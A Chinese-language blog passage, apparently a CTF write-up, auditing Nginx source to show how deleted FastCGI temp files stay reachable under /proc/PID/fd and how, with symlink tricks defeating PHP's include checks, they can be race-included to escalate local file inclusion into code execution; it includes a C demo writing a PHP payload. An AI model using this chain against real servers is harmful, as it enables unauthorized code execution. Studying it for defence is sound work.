  • 第一个地方是 src/http/ngx_http_request_body.c#456 处:tf->persistent = r->request_body_in_persistent_file;,继续跟进 request_body_in_persistent_file 成员变量,找到其赋值的地方为 src/http/ngx_http_core_module.c#1315 中的 ngx_http_update_location_config 函数当中。
  • // 检查配置项 client_body_in_file_only 是否为真
    if (clcf->client_body_in_file_only) {
        // 将请求体仅存储在文件中标志设置为 1
        r->request_body_in_file_only = 1;
        
        // 设置请求体为持久文件
        r->request_body_in_persistent_file = 1;
        
        // 设置请求体文件是否会在处理后被清理
        // 如果 client_body_in_file_only 等于 NGX_HTTP_REQUEST_BODY_FILE_CLEAN,则标志为 1,否则为 0
        r->request_body_in_clean_file =
            clcf->client_body_in_file_only == NGX_HTTP_REQUEST_BODY_FILE_CLEAN;
        
        // 设置日志级别为 NOTICE
        r->request_body_file_log_level = NGX_LOG_NOTICE;
    }
    
  • 此处我们可以根据上下文判断出该处主要是用于判断是否开启 client_body_in_file_only 选项,根据文档我们可以知道:
  • 在该选项开启后,Nginx 对于请求的 body 内容会以临时文件的形式存储起来,但是默认为 off ,题目并没有开启所以这里不用考虑。
  • fastcgi_store
  • 另一个地方是 src/http/ngx_http_upstream.c#4087 处:
  • static void
    ngx_http_upstream_store(ngx_http_request_t *r, ngx_http_upstream_t *u)
    {
        // 从上游请求的管道中获取当前的临时文件
        tf = u->pipe->temp_file;
    
        // 如果临时文件描述符无效,则需要创建一个新的临时文件
        if (tf->file.fd == NGX_INVALID_FILE) {
    
            /* 为空的 200 响应创建文件 */
    
            // 在请求池中分配内存,创建新的 ngx_temp_file_t 结构体
            tf = ngx_pcalloc(r->pool, sizeof(ngx_temp_file_t));
            if (tf == NULL) {
                return;
            }
    
            // 初始化临时文件结构体的各个字段
            tf->file.fd = NGX_INVALID_FILE;
            tf->file.log = r->connection->log;
            tf->path = u->conf->temp_path;
            tf->pool = r->pool;
            tf->persistent = 1;
    
            // 调用 ngx_create_temp_file 函数创建临时文件
            if (ngx_create_temp_file(&tf->file, tf->path, tf->pool,
                                     tf->persistent, tf->clean, tf->access)
                != NGX_OK)
            {
                return;
            }
    
            // 更新上游请求的管道中的临时文件
            u->pipe->temp_file = tf;
        }
        //...
    }
    
  • 往上找该函数调用:
  • if (u->peer.connection) {
        // 检查上游连接是否存在
        if (u->store) {
            // 检查是否需要存储响应内容
            if (p->upstream_eof || p->upstream_done) {
                // 检查上游是否已经结束响应
                tf = p->temp_file;
                // 如果响应状态为200 OK,并且响应已经结束或长度未知
                // 并且响应头中的内容长度等于临时文件的偏移量(即内容的实际长度)
                if (u->headers_in.status_n == NGX_HTTP_OK
                    && (p->upstream_done || p->length == -1)
                    && (u->headers_in.content_length_n == -1
                        || u->headers_in.content_length_n == tf->offset))
                {
                    // 调用 ngx_http_upstream_store 函数存储响应内容
                    ngx_http_upstream_store(r, u);
                }
            }
        }
    //...
    }
    
  • 得知此处有几个条件,可能都相对比较苛刻,于是我先看 u->store 成员变量的赋值,找到该成员变量主要是在 src/http/ngx_http_upstream.c# 610 处的 ngx_http_upstream_init_request 函数中得到赋值:  
  • static void
    ngx_http_upstream_init_request(ngx_http_request_t *r)
    {
        // 从请求结构体中获取上游模块的上下文
        u = r->upstream;
    
    #if (NGX_HTTP_CACHE)
        // 如果启用了缓存功能(NGX_HTTP_CACHE 宏被定义)
        if (u->conf->cache) {
            ngx_int_t  rc;
            // 调用 ngx_http_upstream_cache 函数进行缓存处理
            rc = ngx_http_upstream_cache(r, u);
            // 处理返回值 rc 的逻辑(具体操作省略)
            //...
        }
    #endif
    
        // 设置是否需要存储响应内容(根据配置决定)
        u->store = u->conf->store;
        // 进行其他初始化操作(具体操作省略)
        //...
    }
    
  • 我们可以根据此处上下文,并且查阅一些相关源码资料知道此处 u->conf->store 来自解析配置 fastcgi_store  
  • 默认为关闭状态,当我们将这个选项开启为 on 的时候,可以发现我们产生的临时文件最后才消失因为这个地方需要手动开启,所以在默认情况下我们也很难利用。
  • cache
  • 还有一个地方是 src/http/ngx_http_upstream.c#3144 处:
  • static void
    ngx_http_upstream_send_response(ngx_http_request_t *r, ngx_http_upstream_t *u)
    {
        // 省略了其他代码的部分...
    
        // 根据上游响应的配置以及是否需要存储,设置响应是否可以缓存
        // u->cacheable 表示上游响应是否标记为可缓存
        // u->store 表示是否需要将响应存储在临时文件中
        p->cacheable = u->cacheable || u->store;
    
        // 如果响应被标记为可缓存
        // 则将临时文件的属性设置为持久性,这样临时文件在请求处理后不会被删除
        if (p->cacheable) {
            p->temp_file->persistent = 1;
        }
    
        // 省略了其他代码的部分...
    }
    
  • 很明显,这个临时文件是作缓存使用的,u->store 上面我们知道了是需要通过配置设置,所以我们接下来,但是我们仍然可以跟一下条件中的 p->cacheable 成员变量,其中只有在 src/http/ngx_http_upstream.c#860 处的 ngx_http_upstream_cache 函数被设置成了 1 ,但是该函数需要开启宏 NGX_HTTP_CACHE ,我们可以在 auto/modules#99 处找到该宏定义  
  • if [ $HTTP_CACHE = YES ]; then
      have=NGX_HTTP_CACHE . auto/have
      HTTP_SRCS="$HTTP_SRCS $HTTP_FILE_CACHE_SRCS"
    fi
  • 接着可以在 auto/options 找到 $HTTP_CACHE 的定义默认为 YES ,只有当编译增加选项 --without-http-cache 才会将该宏定义为 FALSE ,也就是说如果正常开启, Nginx 是默认开启这个宏的
  • 但是该函数还会受到 src/http/ngx_http_upstream.c#569 处的限制 u->conf->cache ,并且通过查看一些文档[3][4] ,发现知道这里的 config->cache 也是与 proxy_cache 配置有关的,查阅文档proxy_cache 配置选项默认为 off ,所以这里我们也不考虑。
  • Tmp Files After Deleted
  • 由于 Nginx 在 ngx_open_tempfile 函数中,创建临时文件后又立马删掉了临时文件,并且从以上源码审计来看,没有很好的方式让 persistent 变量为 1 所以在不能修改默认配置的情况下,直接让临时文件保存下来是基本不可能的。
  • 那我们有没有一个时间窗去包含临时文件呢?由于这创建、删除函数间隔非常短,即使有能让 Nginx Crash 的方法,也很难把握这个时间点,基本上也是没有一个时间窗去直接包含的。
  • 但是我在审计的同时,也产生了一个问题:既然 Nginx 将临时文件用于存储 Fastcgi 响应的临时存储,但是为什么创建之后就删除了?为什么删除之后还持续向里面写内容?难不成删除以后的读写操作还仍然有效???
  • 我觉得这是从开发角度思考来说,仅通过审计这些代码无法解释以上问题,但是这里如果熟悉 Linux 的同学就能意识到,其实以上这些问题可能都不是问题。
  • 众所周知 ( 我应该是全世界最后一个知道的人了吧 ),如果打开一个进程打开了某个文件,某个文件就会出现在 /proc/PID/fd/ 目录下,但是如果这个文件在没有被关闭的情况下就被删除了呢?
  • 我们大概可以用 c 简单复刻一个大概的 demo ,使用如下代码模拟 Nginx 对于临时文件处理的行为,但是最后不关闭文件句柄,使用 sleep 模拟进程挂起的状态:
  • #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <error.h>
    #include <unistd.h>
    
    int main() {
        // 打印测试开始的信息
        puts("[+] test for open/unlink/write [+]\n");
    
        // 以 O_CREAT(创建)、O_EXCL(排他创建)、O_RDWR(读写)模式打开文件
        // 文件权限设置为 0600(只有文件所有者可读写)
        int fd = open("test.txt", O_CREAT|O_EXCL|O_RDWR, 0600);
        printf("open file with fd %d, try unlink\n", fd);
    
        // 打印文件描述符,并尝试删除文件
        unlink("test.txt");
        printf("unlink file, try write content\n");
    
        // 尝试向文件中写入内容 "<?php phpinfo();?>"
        // write 函数返回实际写入的字节数,如果写入字节数不等于 19,则打印错误信息
        if (write(fd, "<?php phpinfo();?>", 19) != 19)
        {
            // 如果写入失败,打印错误信息
            printf("write file error!\n");
        }
    
        char buffer[0x10] = {0};  // 创建一个大小为16字节的缓冲区
        lseek(fd, 0, SEEK_SET);   // 将文件偏移量设置为文件开头
        int size = read(fd, buffer, 19);  // 读取19字节的数据到缓冲区
        printf("read size is %d\n", size);
        printf("read buffer is %s\n", buffer);  // 打印读取到的数据
    
        // 无限循环,保持程序运行
        while(1) {
            sleep(10);  // 每10秒睡眠一次
        }
        // close(fd);  // 注释掉的代码:关闭文件描述符
        return 0;
    }
    
  • 编译运行以上代码,我们可以在对应的 /proc/pid/fd 下找到我们删除的文件 可以看到虽然显示是被删除了,但是我们依然可以读取到文件内容,所以我们是不是可以直接用 php 进行文件包含呢?  
  • 4.png

  • Bypass PHP File Stat
  • 虽然这并不是第一次出现过这个技巧了,但是可能比赛的时候大多数人都没想起来,对于 include 函数在进行包含的时候,会使用 php_sys_lstat 函数判断路径,这里已经有师傅整理过很详细的文章了:php源码分析 require_once 绕过不能重复包含文件的限制
  •  所以虽然直接包含会显示文件不存在,但是这里依然适用于使用多层符号链接绕过的场景,进而包含执行 php 代码,并且根据一开始我们实验的图看到,所以其实 Nginx 对于临时文件句柄的关闭往往在最后才进行关闭,这个过程中有足够的时间让我们去进行竞争包含。
  • 5.png

  • Chain Together
  • 所以到这里我们可以有了一个大概的想法:竞争包含 proc 目录下的临时文件。但是最后一个问题就是,既然我们要去包含 Nginx 进程下的文件,我们就需要知道对应的 pid 以及 fd 下具体的文件名,怎么才能获取到这些信息呢?
  • 这时我们就需要用到文件读取进行获取 proc 目录下的其他文件了这里我们只需要本地搭个 Nginx 进程并启动,对比其进程的 proc 目录文件与其他进程文件区别就可以了。
  • 而进程间比较容易区别的就是通过 /proc/cmdline如果是 Nginx Worker 进程,我们可以读取到文件内容为 nginx: worker process 即可找到 Nginx Worker 进程;因为 Master 进程不处理请求,所以我们没必要找 Nginx Master 进程。
  • 当然,Nginx 会有很多 Worker 进程,但是一般来说 Worker 数量不会超过 cpu 核心数量,我们可以通过 /proc/cpuinfo 中的 processor 个数得到 cpu 数量,我们可以对比找到的 Nginx Worker Pid 数量以及 CPU 数量来校验我们大概找的对不对。
  • 那怎么确定用哪一个 PID 呢?以及 fd 怎么办呢?由于 Nginx 的调度策略我们确实没有办法确定具体哪一个 worker 分配了任务,但是一般来说是 8 个 worker ,实际本地测试 fd 序号一般不超过 70 ,即使爆破也只是 8*70 ,能在常数时间内得到解答。
  • 总结起来整个过程就是:

  • 让后端 php 请求一个过大的文件

  • Fastcgi 返回响应包过大,导致 Nginx 需要产生临时文件进行缓存

  • 虽然 Nginx 删除了/var/lib/nginx/fastcgi下的临时文件,但是在 /proc/pid/fd/ 下我们可以找到被删除的文件

  • 遍历 pid 以及 fd ,使用多重链接绕过 PHP 包含策略完成 LFI

  • 7.png

  •  这里需要注意的是把握好自己生成的 tmp 文件大小以及 curl 命令,可以生成后自己 debug 看一下 fd 目录下的文件存活多久。

 


\sqsubset \tanh

 \cup \cup \textup{\sin \arccos }

  • 12
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值